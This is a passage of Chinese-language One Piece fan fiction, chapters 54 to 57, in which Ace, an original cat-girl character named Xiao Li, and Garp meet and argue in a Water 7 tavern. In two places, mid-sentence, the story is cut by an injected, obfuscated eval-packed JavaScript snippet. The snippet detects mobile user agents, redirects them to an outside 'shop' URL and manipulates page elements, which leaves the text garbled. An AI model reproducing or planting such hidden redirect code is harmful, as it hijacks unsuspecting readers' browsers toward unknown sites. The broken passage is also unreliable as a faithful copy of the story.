她看着艾斯眼中那毫不掩饰的、几乎要将她吞噬的深情,心脏在狂喜的顶端,骤然被一丝冰冷的、源自灵魂深处的恐惧攫住! 她期待改变,期待更亲密无间的关系,期待从他口中听到更多……可当这一切真的近在眼前,唾手可得时,一种巨大的、本能的惶恐却猛地攫住了她。 她害怕。 害怕这来之不易的、平静温暖如港湾般的生活被打碎。 害怕关系的改变,会带来未知的、无法掌控的波澜。 害怕……如果不再是“妹妹”,如果越过了那条模糊的界限,会不会……在某一天,因为某种原因,失去他?失去这份独一无二的宠爱和包容? 就像已经失去了实验室那虚假的“安稳”,失去了老K那别扭的“关怀”,失去了锈带诊所那短暂的“巢穴”…… 她一直不是个幸运的人,她这样的家伙难道可以奢望得到艾斯炙热又毫无保留的爱么? 她太珍惜现在的一切了。珍惜到不敢冒一丝一毫可能的风险。 “怦怦!怦怦!” 心跳快得像要炸开,但那不再是纯粹的喜悦,而是混杂了恐慌的剧烈律动。 在艾斯下一个字即将出口的、电光石火的瞬间—— 小狸猛地、几乎是用了全身的力气,双手按在艾斯结实的胸膛上,用力一撑! 同时腰肢发力,双腿一蹬—— 像一只受惊过度、炸毛弹起的猫,她整个人从艾斯身上、从他温柔却令人窒息的怀抱里,骤然弹跳了起来! 动作仓促、狼狈,甚至带着点落荒而逃的意味。 她没有看艾斯瞬间怔住的表情,没有去听他那未说完的话语消散在空气中,慌张地喊了一句 “好像,好像到时间了,我去帮萨奇刷盘子” 天知道她从来没帮萨奇刷过盘子 甲板上,暮色渐浓。 艾斯维持着半坐半躺的姿势,手臂还保持着环抱的弧度,只是怀中已然空空如也。脸上温柔的笑意尚未完全褪去,却凝固了一瞬,黑眸中翻涌的深情缓缓平息,取而代之的是一丝清晰的错愕,随即化为无奈的、了然的柔和。 他长长地、无声地叹了口气。 嘴角却依旧向上弯着,那弧度里没有被打断的沮丧,没有计划受挫的恼怒,只有无尽的柔和和一种“果然如此”的、早有预料的耐心。 他看着小狸消失的方向,他知道她需要时间,也知道她的恐惧源自何处。 没关系。 他在心里对自己说,也是对那个仓皇逃离的少女说。 我有很多时间。 多到……足以用一生的耐心和温柔,等你准备好。 等你不再害怕。 等你心甘情愿地,走进我的世界里,永远住下。 55. 爷爷 自那次桅杆顶上脱口而出的“喜欢”之后,艾斯和小狸之间的关系进入了一种更加微妙而黏稠的状态。光顾着害羞和内心兵荒马乱的小狸,不知是有意还是无意地说服自己:艾斯口中的“喜欢”,是和老爹、和大家一样的、家人意义上的喜欢。她不敢奢求那个如同太阳般耀眼灼目的艾斯会真的喜欢上自己这样一只偶然被捡到的小猫。于是,她只能更加小心地、贪婪地、偷偷汲取着来自艾斯的每一分温暖和光芒。 这种自我说服带来的,是一种更加隐蔽的贪婪和小心翼翼。她开始更加贪恋艾斯不经意的触碰——他揉乱她头发时掌心的温度,他揽住她肩膀时手臂传来的坚实力量,他低头与她说话时拂过耳畔的、带着火焰般暖意的气息。 艾斯将小狸这份微妙的心思和近乎本能的退缩看得一清二楚。他看着那只小猫伸出爪子试探性地撩拨,一边期待着可能的回应却又立刻胆小地缩回自己的角落的样子,觉得无奈又可爱 但他舍不得用任何冷落或逼迫的方式去让她认清自己的真心。没关系,她退一步,他就再往前走两步,用更多的温暖和陪伴织成一张柔软的网,直到这只敏感又渴望爱的小猫退无可退,避无可避,最终将他的怀抱视为唯一的、理所当然的归宿。 这天午后,阳光正好,艾斯和小狸正并排坐在甲板上看最新的报纸。当看到头版头条刊登着“草帽小子一伙大闹司法岛,向世界政府宣战”的惊人新闻时,艾斯先是倒吸一口气,随即爆发出无比爽朗又带着头疼的大笑:“哈哈哈哈!不愧是我的弟弟!这个臭小子真是……太会闯祸了!这下可真是捅破天了!” 就在艾斯为弟弟的“壮举”又笑又叹的同时,伟大航路的另一端,一艘船头雕刻着巨大狗头、显得既威严又有点滑稽的军舰上,正在优哉游哉品茶、往嘴里丢仙贝的卡普中将,也正巧看到了副官递上的同一份报纸。 “噗——!!!” 刚入口的茶水毫无形象地喷了出来,淋湿了面前小半张桌子。卡普瞪圆了眼睛,视线死死钉在那行标题上,腮帮子还鼓鼓地塞着没咽下去的仙贝碎屑。 紧接着—— “哇哈哈哈!!!还得是你啊路飞!!你到底还能闯出多大的祸啊!!”卡普笑得胡子都在颤抖,每一条皱纹的沟壑里都是毫不掩饰的骄傲 周围的副官和士兵们一脸麻木,嘴角抽搐着,心里疯狂吐槽:“卡普中将!!!这根本不是值得骄傲的事情啊!!!这是会引发世界大战级别的大事件啊!!!” 但他们也只敢在心里呐喊,面对这位笑得肆无忌惮、仿佛自家孙子只是踢球不小心砸了邻居家玻璃的海军英雄,谁也不敢把这话说出口。 几天后,七水之都。 在用炮弹好好的送别了草帽一伙后,喧闹过后的寂静让卡普感受到一丝孩子长大离巢后的寂寞,但更多的还是骄傲 “哼,一个个的……”卡普双手插在宽大的海军披风口袋里,硕大的身躯在夕阳下拉出长长的影子。他独自一人走下军舰,踏上了七水之都的街道,“艾斯那小子是这样,路飞那混小子也是这样……都跑得没影了,就剩老头子我一个人喽……” 他在七水之都错综复杂、桥梁水巷交织的街道上漫无目的地走着,略显寂寞。 就在他拐进一条相对僻静、两侧建筑高耸、光线略显昏暗的小巷时,一个戴着宽大兜帽的娇小身影猛地冲了出来,死死攥住了卡普那件标志性的、绣着“正义”二字的白色披风的衣角 “您、您是海军对吧?海军中将卡普先生……求求您,帮帮我,拜托了……”少女的声音带着一丝不易察觉的颤抖和急切,兜帽下,一双泫然欲泣、蓝宝石般的眼睛怯生生地望着他。 卡普愣了一下,看清少女精致却写满不安的脸庞,以及那奇怪的气息,身为强者的直觉却让他并未立刻甩开,反而放松了力道,哑然失笑,黑发,蓝眼,猫耳,悬赏金不菲,与“火拳”艾斯关系密切……这些小家伙是有多看不起自己,自己难道会不认识那张前不久才大闹了香波地的少女的脸么……连他自己都未察觉的、或许是意识到自己有机会见到某个让他又爱又恨的混小子的微妙期待,任由少女将自己拉进了小巷深处。 “小姑娘,找老夫有什么事吗?”他的声音依旧洪亮,却刻意放柔和了些,听起来就像个路过被小孩拉住、脾气不错的老爷爷。 小狸见他没有拒绝,小小松了一口气:“这里……不方便说。卡普先生,能请你和我走嘛?就一下下……去一个安静点的地方……” 卡普眼中笑意更深,从善如流地跟着她。他倒要看看,这个小家伙葫芦里卖的什么药。 一路无话。只有两人一轻一重的脚步声在狭窄的空间里回响。小狸是紧张得不知该说什么,卡普则是乐得看戏,耐心十足。 七拐八绕,直到走到一家位置极其偏僻、门面老旧、招牌上的字都快掉光的小酒馆门口,小狸才停下脚步。酒馆的门虚掩着,里面透出昏暗的灯光,生意冷清。 酒馆内部比外面看起来更加狭窄晦暗。只有吧台后面点着一盏小灯,光线昏黄,勉强照亮周围一小片区域。 小狸目标明确,径直拉着卡普走向最角落的一张桌子,这里几乎完全隐藏在吧台视线的死角。 “请、请坐,卡普先生。”小狸松开一直攥着披风的手,她局促地指了指对面那把看起来不怎么结实的木椅,自己则在对面坐下,双手放在膝盖上绞在一起。 卡普也不客气,大大咧咧地拉开椅子坐下。木椅发出不堪重负的“嘎吱”声。他庞大的身躯几乎将整个角落的空间都填满了,但那双依旧锐利如鹰隼的眼睛,却在坐下的瞬间,就似笑非笑地、直直地射向了吧台方向—— 那里,一个穿着休闲背心、头戴橘色牛仔帽的男人正背对着他们,假装认真地擦拭着酒杯。 卡普的眉毛高高挑起,嘴角咧开一个近乎促狭的弧度。 “喂!那边那个臭小子!!” 擦拭酒杯的背影几不可查地僵硬了一瞬。 “老夫我是年纪大了,记性可能没那么好了,”卡普慢悠悠地说,手指在桌面上敲了敲,“但老夫还没瞎!别擦了!” 他故意顿了顿,看着那个背影越来越僵直,笑意几乎要从眼睛里溢出来:“费这么大劲,绕这么大圈子,把老夫我骗到这个鸟不拉屎的破酒馆里来……就为了表演擦杯子?别磨蹭了!快点给我滚过来坐下!老夫的耐心可是有限的!” 被当场戳穿、无处遁形的艾斯,肩膀几不可闻地垮塌了一瞬。他放下那个被擦得几乎能照出人影的酒杯,以及那块毫无用武之地的抹布,缓缓转过身。 昏黄的灯光勾勒出他棱角分明的侧脸,脸上带着无奈,有点尴尬,但更多的是一种如释重负和……不易察觉的、混合着紧张与期待的柔软。他抬手,有些不好意思地摸了摸自己的鼻尖,这个下意识的动作,和小狸紧张时的小动作竟有几分神似。 他迈开脚步,走到桌边,没有看卡普,而是先是习惯性地抬手,轻轻揉了揉小狸低垂的脑袋,然后才在她旁边的椅子上坐下,正好与卡普面对面。 三人之间的空气,在艾斯坐下的瞬间,仿佛凝滞了 爷孙俩隔着一张窄小的木桌对视着。卡普目光如炬,仿佛要将艾斯里里外外都审视个遍。艾斯则微微垂着眼,避开了爷爷过于锐利的直视,但绷紧的下颌线和放在膝盖上、微微收拢的手指,泄露了他内心的不平静。 那道横亘在“海军爷爷”和“海贼孙子”之间的、看不见的壁垒,在此刻狭小的空间里显得格外清晰。艾斯心里一直记挂着这个脾气火爆的爷爷,只是身份的鸿沟和各自的坚持,让他不知该如何面对。这次见面,是他反复思量、鼓足了勇气,才小心翼翼迈出的一步。可真到了面对面坐下,千言万语堵在胸口,却一个字也吐不出来。 小狸夹在两个沉默的男人中间,感受着这几乎令人窒息的沉默和无形中弥漫开的微妙张力,觉得浑身不自在。她可受不了这种沉闷的气氛,既然已经被看穿了,她索性抬手,一把摘掉了那个碍事的宽大兜帽。 微卷的黑色长发有些凌乱地散落下来,她甩了甩头,然后抬起脸,好奇地又直白地看向对面的卡普。 她听着艾斯讲过许多关于这位“爷爷”的故事——拳头像炮弹一样厉害,笑声能震破屋顶,看似粗犷却心思细腻,是海军里的传奇人物。此刻亲眼见到,小狸内心除了好奇,还有一丝不易察觉的、源自艾斯描述的亲近感。 见两人依旧只是沉默地对视,气氛丝毫没有缓和的迹象,小狸撇了撇嘴,决定不再折磨自己。她自顾自地转过身,朝着吧台后面那个真正的、一直努力缩着脖子降低存在感的酒保挥了挥手,声音清亮,打破了凝滞: “那个!麻烦您,请给我一个最大的、有好多好多颜色的冰……冰淇淋巴菲!” 酒保如蒙大赦,赶紧点头,钻进后厨忙活去了。 小狸转回身,重新坐好,左看看眉头微蹙、嘴唇抿紧的艾斯,右看看好整以暇、但眼神深沉的卡普。她不明白,这两个人,一个想见,一个大概……也是想见的吧?为什么费了这么大力气见了面,却只是像两块石头一样干坐着,什么都不说? 她百无聊赖地晃了晃悬空的小腿,脚尖轻轻踢着桌腿,发出细微的“哒哒”声。身后的尾巴也从斗篷下探出来一点,尾尖无意识地、小幅度地左右扫动着,拍打在椅子腿上。 很快,酒保端上了一个堪称“巨无霸”的彩虹巴菲。也无暇顾及僵持的两人,小狸自顾自幸福的享用起来。 卡普早就深知自己这两个孙子的犟驴脾气——路飞是明着犟,艾斯是闷着倔。指望他们谁先开口打破这种僵局,恐怕能坐到天亮。看着眼前这个自顾自吃得开心、心思单纯写在脸上的小丫头,卡普眼中闪过一丝精光。他决定,战术转移,从看起来最好说话的这个小家伙入手。 他清了清嗓子,脸上刻意摆出和蔼可亲的长辈表情,目光落在小狸身上。 “小丫头,”卡普开口,声音比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他瞪着卡普,眼神里充满了“求您别说了”的窘迫和咬牙切齿,却又在对上爷爷那双充满戏谑和了然的眼睛时,底气莫名地泄了一半,只剩下无处发泄的羞臊,烧得他坐立难安。 爷孙之间那种因身份立场而生的厚重隔阂,似乎被这带着亲昵色彩的玩笑冲淡了一丝,气氛,终于开始流动起来。 卡普见好就收,大笑着拿起酒保适时送上的一大杯麦酒,咕咚灌了一大口。艾斯也慢慢坐了回去,脸上的红潮还未完全褪去,他有些狼狈地抓起自己的那杯,猛灌了几口,冰凉的液体划过喉咙,似乎也浇灭了一点脸上的燥热。 僵局打破后,爷孙俩之间的对话总算得以继续。虽然依旧心照不宣地避开“海贼”与“海军”的立场对立,避开那些可能会引发争执的敏感话题,但至少,能像寻常家人久别重逢一样,聊一些近况,说一些琐事。 艾斯说起莫比迪克号上的日常,说起白团又和哪个不要命的海贼起了摩擦,说起厨师长研究出了什么新菜式,说起伙伴们又闹出了什么笑话。卡普则吐槽着海军本部的文书工作多么烦人,抱怨大人物们又干了什么蠢事,说起战国元帅的头发好像更少了。 话题断断续续,有时会冷场,但总有人会把它重新接上。酒杯空了又满,麦酒醇厚的香气混合着冰淇淋甜腻的味道,在昏暗的角落里弥漫。 小狸开心地吃着她的巨型巴菲,每尝到一种新口味,眼睛就会幸福地眯起来。艾斯则很自然地扮演起了“照顾者”的角色。他一边和卡普说着话,一边眼神的余光始终留意着小狸。 看到她鼻尖蹭上了一点白色的奶油,他伸出手,拿起桌上粗糙但干净的纸巾,侧过身,轻轻帮她拭去,动作温柔又自然,看起来已经无比熟悉。 卡普手里端着酒杯,看似豪迈地喝着酒,听着艾斯说话,但那双历经沧桑、锐利不减的眼睛,却将对面两个年轻人之间所有的互动细节,都一丝不落地收进了眼底。 他看着艾斯的动作有些唏嘘——那小子自己吃饭都经常狼吞虎咽、搞得一片狼藉,此刻却能有这样的耐心和细心,去擦拭一个小姑娘脸上的奶油渍。 看着这一幕幕,卡普心中某个柔软的角落,被轻轻触动了。他仿佛透过眼前的艾斯,看到了多年前那个在风车村被他用“爱之铁拳”追得满山跑、倔强又孤独的黑发小男孩。时光荏苒,当年那个浑身是刺、不知该如何表达爱与被爱的小家伙,已经长大了。 长得如此挺拔,如此耀眼。 也长得……如此温柔,如此会照顾人了。 卡普端起酒杯,仰头将剩下的麦酒一饮而尽,冰凉的酒液滑入喉咙,却压不下心头翻涌的热意。 他在心里,对着某个早已逝去、却仿佛仍在耳边大笑的混蛋老友,默默地说: 罗杰啊,老伙计……你看到了吗? 艾斯他……真的长大了 比你这个只知道追寻自由、把烂摊子丢给别人的混蛋老爹…… 卡普的嘴角,在酒杯的遮掩下,微微向上扯了扯,那是一个混合着骄傲、欣慰、以及一丝淡淡释然的弧度。 ……强太多了。 56. 争执 起初还只是声调略高的讨论,关于“现状”、“选择”、“安全”。卡普的声音洪亮,带着长辈式的强调;艾斯的回应则透着年轻人特有的倔强和不耐。但不知是哪一句话触动了敏感的神经,还是积压的情绪终于找到了突破口,讨论迅速升级为激烈的争执。 “……你就不能听老夫一句劝?!”卡普的声音陡然拔高,带着压抑不住的怒气 “我的人生我自己决定!不需要谁来指手画脚!”艾斯毫不退让,声音也因激动而绷紧 “砰——!!!!” 一声巨响,震得整个小酒馆仿佛都颤了颤! 是卡普的拳头,裹挟着无可匹敌的力量和挫败感,狠狠砸在了厚重的实木桌面上!桌面上所有杯盘碗盏同时剧烈跳起,发出叮铃哐啷的碰撞声。 “你这个混账小子!!”卡普猛地站起身,庞大的身躯投下的阴影几乎将艾斯完全笼罩。他额角青筋微凸,那双总是豪迈笑着的眼睛此刻瞪得滚圆,里面燃烧着熊熊怒火。“冥顽不灵!榆木脑袋!你知道现在有多少双眼睛在盯着你吗?!海军内部,世界政府,还有其他那些嗅到血腥味的鬣狗!半个世界的人都在暗地里算计着,怎么才能抓到你——哥尔·D·罗杰留在这世上唯一的血脉!然后把你推上处刑台,用你的血来震慑这片大海!你知不知道这有多危险?!!” 艾斯也“霍”地站起来,仰着头,毫不畏惧地迎上爷爷几乎要喷火的视线,脸颊因愤怒和某种被刺痛的情绪而涨红。 “我才不需要你来说教!!”他吼了回去,声音因为激动而有些撕裂感,“我早就说过了!我不是那个男人的儿子!我跟那个男人没有任何关系!!我的老爹只有一个,就是白胡子爱德华·纽盖特!是他给了我归宿,给了我家!!” 他胸膛剧烈起伏,拳头捏得咯咯作响 “至于蒂奇那个叛徒……”提到这个名字,艾斯的眼神瞬间变得冰冷刺骨,声音也从高昂的愤怒转为一种低沉而决绝的森寒,“我绝对会亲手把他抓回来!将他带给老爹处置!这是白胡子海贼团内部的事,是我身为二番队队长的责任!这一点——没、得、商、量!” 最后四个字,一字一顿,斩钉截铁,带着不容置疑的意志。 “你说什么?!”卡普被他这副油盐不进、固执己见的样子气得差点七窍生烟,“我看你才是被白胡子那个老家伙彻底洗脑了!不知天高地厚!你以为‘火拳艾斯’的名号响亮,就可以无视这片大海真正的凶险了吗?!你说不是不是了么!?你知不知道有多少人,就等着你犯错,等着你落单,等着把你和罗杰的姓氏一起钉死在历史的耻辱柱上?!” “是你老糊涂了!!”艾斯的怒火也被彻底点燃,言语如同出鞘的利刃,往最痛的地方扎去,“继续当你的老好人大英雄去吧!守着你的正义,去庇护那些天龙人的走狗!我是海贼!白胡子海贼团的二番队队长波特卡斯·D·艾斯!我的路,我自己走!是生是死,是成是败,都由我自己承担!用不着你来操心!!” “混账东西!你敢这么跟老夫说话!!”卡普气得胡子都在发抖,巨大的手掌再次扬起,眼看那足以开山裂石的“爱之铁拳”就要落下。 “我就说了!怎么样?!海军英雄卡普中将!!”艾斯梗着脖子,半步不退,眼中是倔强到极致的火焰,仿佛要将一切阻碍都焚烧殆尽。 两人的争吵一声高过一声,如同两股对冲的狂暴飓风,在这小小的角落里肆虐。固执的坚持,深切的担忧,不同的立场,无法调和的理念……所有的一切在这短暂的爆发中激烈碰撞,谁也不肯退让半步。 最终—— “够了!!!” 艾斯发出一声低吼,仿佛再也无法忍受这令人窒息的争执和爷爷眼中那份沉重的、他无法回应的期望。他猛地转身,动作幅度大得带倒了旁边一把空椅子。椅子摔在地上,发出“哐当”一声闷响。 他甚至没有再看卡普一眼,也没有去看被巨响惊得猛地端着杯子一脸惊惧的小狸。他只是带着一身未散的灼热怒意和某种狼狈的决绝,大步流星地冲向酒馆那扇吱呀作响的木门,用力拉开—— “砰!!!!!” 更加震耳欲聋的摔门声,几乎要震碎门框。木门狠狠拍在门框上,反弹回来,又无力地晃动着。艾斯的身影,已经消失在门外七水之城渐浓的暮色与华灯初上的光影交错之中。 小狸呆呆地看着还在微微震颤的门板,又看向桌子这边。 卡普依旧维持着站立的姿势,但那只扬起的、紧握成拳的巨手,却无力地、缓慢地垂落了下来。他脸上因暴怒而涨红的颜色迅速褪去,取而代之的是一种深深的、仿佛瞬间苍老了几岁的疲惫。他重重地、几乎是跌坐回椅子里,那结实无比的木椅再次发出不堪重负的呻吟。 他不再看门口,只是低着头,目光落在桌面上那片狼藉——翻倒的酒杯,流淌的液体,一片冰凉的水渍。那双总是充满活力的眼睛,此刻被浓重的阴影覆盖,里面翻涌着的是深深的无力与挫败 小猫的感知总是异常敏锐,她能清晰地“嗅到”空气中残留的怒意,但更能穿透海军英雄那层外壳下的挣扎与痛苦 她知道艾斯。他或许会一时气愤冲出去,但他绝不会真的丢下她独自离开。他一定就在附近,或许在巷口,或许在屋顶,等待怒气平息,也等待她。 于是,小狸做出了选择。她轻轻放下手里还捏着的、沾了点冰淇淋的长勺,迈开脚步,没有走向那扇还在晃动的门,而是走向了桌子旁那个瞬间显得无比孤独落寞的庞大身影。 她走到卡普身边,挨着椅子扶手站定。犹豫了一下,然后伸出自己纤细的、还有些冰凉的手,轻轻拉起了卡普那只放在膝盖上、指节依旧因用力而微微泛白、布满厚茧和伤痕的大手 她牵引着那只大手,将它轻轻放在了自己的头顶,然后微微仰起脸,用那双清澈得如同雨后晴空的蓝眼睛望着卡普。 像是在说:摸摸头,就不难过了。 这招一直好用,掌心传来柔软发丝和温热头皮的真实触感,那触感如此鲜活,如此脆弱,又如此温暖。卡普布满血丝、充满疲惫的眼睛动了动,目光落在小狸仰起的小脸上。 “卡普爷爷……”小狸的声音软软的,带着一点点小心翼翼,“艾斯他不是那个意思……真的不是……” 她组织着语言:“他只是,有些急躁……他其实……特别特别不会表达心里那些……真正的想法。” “他不想您担心,真的。每次提到您,他的眼神都很复杂,有崇拜,有怀念,也有……一种不知道该怎么面对的别扭。他不想让您看到他可能遇到的危险,不想让您因为他而陷入两难的境地……所以,他才用那种凶巴巴的样子,想把您推开……好像这样,您就不会为他操心了……” 卡普长长地叹了一口气,宽厚的手掌,终于动了动,顺从地、带着一丝不易察觉的轻柔,揉了揉小狸的头顶。动作有些生疏,但充满了长辈的慈爱。 “唉……”卡普的声音低沉下来,带着深深的无奈,也卸下了刚才对峙时的锋利外壳,“老夫其实……早就知道了。” 他的目光投向虚空,仿佛穿透了酒馆破旧的墙壁,看到了遥远的过去。 “他们两兄弟,从小就是这样!一个模子刻出来的倔!路飞是明着倔,想要什么,认准什么,撒泼打滚也要达到目的;艾斯是闷着倔,心里认定了,八头牛都拉不回来,非要撞个头破血流,还要把墙拆了继续往前走!” 他的语气里充满了无奈,但仔细听,那无奈底下,何尝没有一丝作为爷爷的、混杂着头疼的骄傲? “明明……明明老夫最大的愿望,就是希望他们能和我一样,穿上这身海军的制服,虽然规矩多了点,但至少……至少能平平安安的。”卡普的手无意识地摩挲着披风,眼神有些空茫,“老夫还能把他们庇护在自己的羽翼下……谁敢动我的孙子,先问问老夫的拳头!” 他的声音低沉下去,带着一种深沉的无力感,那是一个强大了一辈子的男人,面对至亲选择截然不同道路时的茫然与挣扎。 “谁知道……一个个的,翅膀还没长硬,就迫不及待地要飞走。非要跑去当什么海贼!非要站到老夫的对立面去!” “可我……我是个海军啊……”卡普的声音更低了,几乎像是在自言自语,带着一种近乎痛苦的困惑,“老夫这辈子,信奉的正义就守护的就是这片大海的秩序……老夫抓了一辈子的海贼,到头来,自己的孙子却成了海贼……老夫……老夫我不知道该怎么办……” 他抬起头,看向小狸,那双总是锐利无比的眼睛里,此刻竟流露出了一丝罕见的、属于老人的脆弱和彷徨。 “我能怎么帮他们?以海军英雄的身份,去包庇悬赏数亿的海贼孙子?还是以大义灭亲的姿态,亲手把他们送进推进城?”他苦笑着摇头,大手无意识地收紧,却又在触碰到小狸柔软的头发时立刻放松了力道,“唉……有时候真觉得……老了……不中用了……拳头再硬,也打不破这该死的命运和立场……” 听着老爷子话语里那深沉的无力感、自责,还有那份无法排解的、浓得化不开的爱与忧虑,小狸的心也跟着一揪一揪地疼了起来。酸涩的情绪涌上鼻尖,眼眶也有些发热。 她用力摇了摇头,双手更加用力地握紧了卡普的手指,仿佛想将自己那点微不足道的力量和信念,全部传递过去。 “您别这么说。”小狸的声音带着一丝哽咽,但眼神无比坚定,“艾斯他……心里其实一直都很清楚,也很记挂您的。” 她努力回忆着艾斯偶尔提及爷爷时的只言片语和细微神情:“他给我讲过很多很多关于您的事情……说您是他见过最强大的人,拳头像石头一样硬;说您虽然是海军,但和那些死板的海军不一样,您心中有自己坚信的、真正的正义;说您是他小时候的‘噩梦’,但也是他心底深处……非常非常崇拜的您。” “他也希望您能相信他。”小狸一字一句,认真地说,“就像他内心深处,其实一直相信着您一样。他相信他自己选择的路,相信他能照顾好自己,能够应对前方的所有困难和危险。” “更何况……”她的语气带上了一点小小的、却异常认真的气势,“还有我呢!我会帮您看着他的!我会一直在他身边,提醒他不要冲动,注意危险,按时吃饭……所以,请您……也稍微相信一下我们,好吗?” 卡普怔怔地看着眼前这个反过来安慰他的小姑娘,心中那个坚硬角落,不由得“咔嚓”一声,裂开了一道缝隙。 良久,卡普的脸上,终于重新露出了笑容。那不再是之前豪迈的大笑,而是一个有些复杂、有些感慨,但终究是释然和温暖的微笑。他用力揉了揉小狸的脑袋,把她柔顺的头发揉得一团乱。 “哦?是吗?!”卡普的笑声带着畅快,“那就这么说定了啊,小丫头!帮我看好那个脾气火爆的臭小子!” 就在这时,卡普眉头微不可查地一动。他那强大无比的见闻色霸气,清晰地捕捉到了酒馆外街道上,由远及近的、整 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16941783|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 齐而急促的军靴踏步声,以及部下们压低声音、焦急寻找他的呼唤。 时间到了。 卡普脸上的笑容收敛了些,但眼神依旧温和。他拍了拍小狸的头,然后干脆利落地站起身,庞大的身躯带起一阵风。 “好了,你们该走了。”他的声音恢复了平日的沉稳,带着长辈的叮嘱,“注意安全,万事小心!这片大海,永远比你们想象的要复杂和危险。艾斯那小子……容易热血上头,冲动行事,平时……你多费心。” 说完,他不再停留,大刀阔斧地走向酒馆门口,背影依旧如山岳般挺拔,却似乎又带上了一丝难以言喻的沉重。 推开那扇刚刚被狠狠摔上的木门,傍晚微凉的风和更加明亮的路灯光芒一起涌了进来。卡普站在门口,对着外面那些正焦急四处张望、看到他出现明显松了一口气的海军士兵们,中气十足地吼道,瞬间变回了那个威严豪迈的海军英雄: “慌慌张张的像什么样子!老夫我还能丢了不成!一个个没点定力!走了走了!回军舰!还有一堆事儿呢!” 洪亮的声音渐行渐远,混杂着士兵们忙不迭应答和整齐列队的声响,最终消失在七水之城夜晚逐渐喧嚣起来的街巷背景音中。 小狸竖着耳朵,仔细聆听着外面的动静,直到那整齐的军靴踏步声彻底远去,融入城市的嘈杂,她才悄悄松了口气,一直微微绷着的肩膀放松下来。 这时,酒馆通往后巷的那扇小门,被极其轻微地“吱呀”一声推开了。 艾斯的身影闪了进来,脸上还残留着未完全消散的怒气带来的薄红,眉头微蹙,嘴唇抿着。但当他看到独自站在桌边、安然无恙的小狸时,那紧绷的神色明显缓和了下来,眼中飞快地掠过一丝如释重负,以及……一丝更深藏的、不易察觉的愧疚。 “哥哥,卡普爷爷他其实……”小狸见他回来,连忙想要解释,想要转达爷爷那些未曾说出口的担忧和爱护。 “嗯,我知道。”艾斯打断了她,声音比刚才争吵时柔和了许多,带着一种了然的、无奈的疲惫,还有一丝不易察觉的沙哑,“不用说了,小狸。我都明白。” 他走到桌边,看着一片狼藉的桌面,目光在那摊水渍上停留了一瞬,然后拉过一把还立着的椅子坐下,抬手揉了揉自己的眉心。 “我们每次见面……几乎都会这样。”艾斯扯了扯嘴角,露出一个没什么笑意的、自嘲般的弧度,“说不几句话就要吵起来。他觉得我莽撞,不要命;我觉得他固执,老古板……其实心里都清楚对方是怎么想的,但就是……没办法心平气和地说出来。” 他抬起头,看向小狸,眼神复杂:“你看他说自己老了,不中用了……那都是气话。其实他身体比谁都硬朗,精神头也足,拳头更是越来越重。”艾斯说着,下意识地摸了摸自己的后脑勺,那里似乎还残留着被“爱之铁拳”教育留下的幻觉痛感,“他用不着我们瞎操心。他可是‘海军英雄’蒙奇·D·卡普。他能照顾好自己的。” 小狸安静地听着,看着艾斯脸上的复杂表情…忽然间清晰地意识到,这对爷孙,脾气、倔强、还有那藏在锋利言辞下的、笨拙却深重的亲情,简直是一个模子里刻出来的。 明白了这一点,她心里那点因刚才激烈争吵而产生的担忧忽然就消散了大半,忍不住“噗嗤”一声笑了出来。 艾斯被她笑得一愣,有些莫名其妙:“笑什么?” “没什么~”小狸摇摇头,尾巴在身后愉快地晃了晃。 既然没事了,“那……艾斯,”她扯了扯艾斯的衣角,动作带着点撒娇的意味,声音也恢复了平时的轻快,眼睛亮晶晶地指向窗外某个方向“我还能再吃一个可丽饼吗?刚才的巴菲……好像消化得差不多了诶~” 她摸了摸自己其实依旧有些鼓胀的肚子,脸不红心不跳地撒谎。 艾斯看着她那副明明饱了却还馋嘴的模样,眼底最后那点阴霾也彻底散去,被熟悉的宠溺和笑意取代。他故意板起脸,抱起手臂,做出一副严肃思考的样子: “嗯——不行哦。”他拖长了语调,一会还要回去吃晚饭,现在吃太多,晚上要看着我吃了哦” “唔……哥哥帮我一起吃嘛~我们分着吃,就不会吃不下了!”小狸开始撒娇。 “嗯~怎么办好呢~”艾斯摸着下巴,装作很为难的样子。 “吃嘛吃嘛!求求你啦~”小狸拉着他的手臂晃来晃去。 艾斯强忍着笑意,继续摸着下巴,装作很为难地沉吟:“嗯~可是萨奇说了要控制你饭前零食的……” “吃嘛吃嘛!就一次!最后一次!我保证!”小狸见有戏,晃得更起劲了,整个人的重量几乎都挂在了他的胳膊上,“我们分着吃,尝尝味道就好!求求你啦~哥哥~” 艾斯终于“败下阵来”,脸上再也绷不住“好吧好吧,真拿你没办法。”他笑着,语气里满是无可奈何的宠溺,“说好了,只吃一半。” “耶!哥哥最好啦!”小狸立刻欢呼一声,尾巴翘得老高,迫不及待地拉着艾斯就往酒馆外跑。 两人一前一后,冲出还有些沉闷酒气的小酒馆,投入了七水之城温暖而喧闹的夜色怀抱。争吵的硝烟被带着水汽的晚风瞬间吹散,只剩下彼此交握的手和奔向甜食的雀跃心情。 没有人想到,也无人愿意去设想。 爷孙之间下一次的相见, 会来得那般迅速而突兀, 在那个让海军英雄痛苦不堪的场景, 在—— 马林梵多。 57. 加油呀!艾斯少校!上 “还挺合身的嘛,小狸,怎么样?” 海军G2支部港口的隐蔽角落,艾斯抻了抻身上的白色海军背心,把在地上昏迷的背心主人的帽子也戴在自己头上,嘴角勾起,像是显摆一样冲小狸展示起来 小狸盘腿坐在一块相对平整的石头上,双手托着腮,小脸正气鼓鼓地绷着,尾巴甩得啪啪作响 “怎么又随心所欲行动这么冲动啊!不是说好了!这次要小心一点!低调一点的嘛!而且……” 